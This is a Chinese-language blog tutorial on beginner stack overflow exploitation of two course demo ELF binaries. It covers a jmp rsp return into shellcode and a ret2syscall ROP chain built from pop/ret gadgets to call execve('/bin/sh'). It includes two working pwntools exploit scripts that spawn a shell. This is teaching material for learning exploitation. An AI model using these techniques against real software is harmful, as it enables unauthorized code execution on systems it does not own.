栈溢出入门(ret2syscall漏洞与gadget的利用)

这次的课件是有两个ELF文件,分别是由动态编译和静态编译生成的,这里说一下二者的区别

就像C语言的#include<stdio.h>包含头文件一样,ELF可执行文件的实际运行也是需要这样的库的,这个库就是 libc.so.6

位于/lib/x86_64-linux-gnu目录下

运行动态编译的ELF文件时,会动态地调用执行者操作系统中的libc.so.6这个库;而静态编译的程序则在编译时就将这个库给打包一同编译了(之后libc.so.6简称libc)

特点是动态编译的文件体积小,但是由于libc本身存在版本迭代,可能存在同一ELF文件在不同操作系统下可能存在运行不成功的情况;

而静态编译的文件由于把libc一起打包了,所以体积大,由于自带libc,所以一般情况下不存在因操作系统版本的原因而无法运行的情况

判断文件是否是静态编译,可以使用命令:

ldd 文件名

可以看到,easydemo-2是静态而easydemo是动态的

好了我们来看源码(easydemo.c):

相较于之前,现在没有了全局变量了,而且连/bin/sh字符串都没有了

也就是说我们向.bss段中写shellcode的方法不再可行

但是我们可以使用另一种方法来进行栈溢出执行shellcode:

注意到写入了一个指令:

jmp rsp;

这里是内联汇编的写法,就是人为地向程序中写入这样一条指令

而这个指令在体量较大的程序中一般都会有,这里是为了学习需要而手动添加方便利用的

先来说利用思路:

这个是正常的调用函数时的栈空间

当我们向函数的内存空间写入代码进行栈溢出操作时,我们可以:

这样做的意义是:

我们溢出写入后,栈布局如上,当函数进行完至尾声部分时,RBP、RSP复位后,栈布局如下:

函数尾声的最后一补时ret或retn指令,这一指令会将在之前压栈的RIP寄存器的值弹出,原目的是想让RIP指向调用函数时的地址,以便让函数继续正常执行,但是这里被我们溢出更改为了jmp rsp指令的地址,所以程序会跳至jmp rsp指令处执行指令,jmp rsp指令的含义又是跳转至RSP寄存器指向的地址执行,所以我们就跳到了shellcode的下方,即调用函数的栈底开始执行,按照相应的原则,程序执行shellcode,即达成了我们的目的

实践如下:

jmp指令地址

编写脚本如下:

from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

sh = process('./easydemo')
# gdb.attach(sh, gdbscript="", gdb_args=['-q', '-ex', 'init-pwndbg'])

# Write your own code here

sh.sendline(b'A'*88 + p64(0x4011D8) + asm(shellcraft.sh()))

sh.interactive()

运行即getshell

这个是针对动态的程序,接下来我们来看静态程序结合gadget的应用

先看源码(easydemo-2):

相较于easydemo1,这个程序没有内联汇编代码,也就是说不能在通过jmp rsp指令跳转到shellcode下方执行shellcode

同时我们检查一下程序的保护设置:

可以看到NX (No eXecute) 保护是开启的,也就是说我们向栈内存空间中写入的的内容是不可执行的,这就意味着shellcode方法不可行,就要用到这次的方法

ret2syscall:

大多数程序都是在用户态下执行,而用户态出于安全考虑所能做的事非常有限,但程序中又总无法避免一些超出用户态权限的操作的存在,所以此时用户态就会“委托”内核进行指令执行,称为系统调用(在用户请求进行系统调用时,CPU会马上停下手上的活动来处理系统调用);而系统调用是有很多种的,就行编程语言中函数也有很多种,因此为了调用方便,每一种系统调用都会有一个“系统调用号”,即每一种系统调用自身的编号,系统调用函数通过“叫号”的方式来发起对应的系统调用,实现用户态与内核态的交互。

而syscall是汇编中较为常见的一条系统调用指令,同时,我们常用execve这个系统调用来进行getshell,它的系统调用号一般是0x3b,其作用是开启一个新的系统进程

需要指出的是,syscall是64位架构下的系统调用指令,在32位架构中int 0x80是对应的系统调用指令,二者的本质都是产生一个中断,来让CPU进行系统调用

在ARM架构中,这一指令是SWI(software interrupt)

我们ret2syscall的利用思路就是通过特定格式的gadget的利用,为寄存器“赋值”,赋值操作完成后执行syscall指令,从而发起系统调用,拿到shell

比较麻烦的是,要进行正确的系统调用,我们需要对四个寄存器进行赋值,下面来说是哪些寄存器

寄存器与函数参数:

在64位操作系统中函数的参数一般由:

rdi、rsi、rdx、rcx、r8、r9

六个寄存器存储,六个以上参数的,多余部分压栈存储

但对于syscall,它是用rax(用于存储系统调用号)作为自己的第一个参数,后面就是用rdi、rsi等作为参数

对于execve,作为系统调用,其使用syscall传入的参数作为参数,其有三个参数位:

execve(filename,argsv,envp);

我们在进行getshell时,一般需要将其置为:

execve("/bin/sh",NULL,NULL);

也就是将syscall置为:

syscall(b'0x3b',"/bin/sh",0,0)

如何来对syscall的参数进行“自定义”呢?

固定格式的gadget:

在汇编中,有这样一种格式的指令:

pop xxx;ret,例如:pop rax;ret

在栈中:

就是通过控制xxx或yyy的值来人为地控制寄存器中的值,这里我的图稍微有点点问题(xxx多余了),第一个gadget执行pop弹栈后将栈值yyy存入rax寄存器,下一个gadget同样的操作将rdi寄存器为栈值zzz等,一切都是通过栈溢出实现。

ret指令弹出一个栈值,并将该栈值作为返回地址,这就可以实现任意地址跳转的目的,也就是说,第一个gadget会将第二个gadget的地址作为返回地址,从而执行第二个gadget,继而执行第二个gadget指向的指令

如何寻找这样的pop xxx;ret 与syscall?

使用工具ROPgadget:

ROPgadget --binary easydemo-2 --only "pop|ret" | grep rax

据此编写脚本:

from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

sh = process('./easydemo-2')
# gdb.attach(sh, gdbscript="", gdb_args=['-q', '-ex', 'init-pwndbg'])
pop_rax = 0x4513d7
pop_rdi = 0x401862
pop_rsi = 0x40f19e
pop_rdx = 0x40176f
bin_sh = 0x495015
syscall = 0x4012d3


# Write your own code here
sh.sendline(b'A'*88 + p64(pop_rax) + p64(0x3b) + p64(pop_rdi) + p64(bin_sh) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall))
sh.interactive()

运行getshell:

  • 15
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值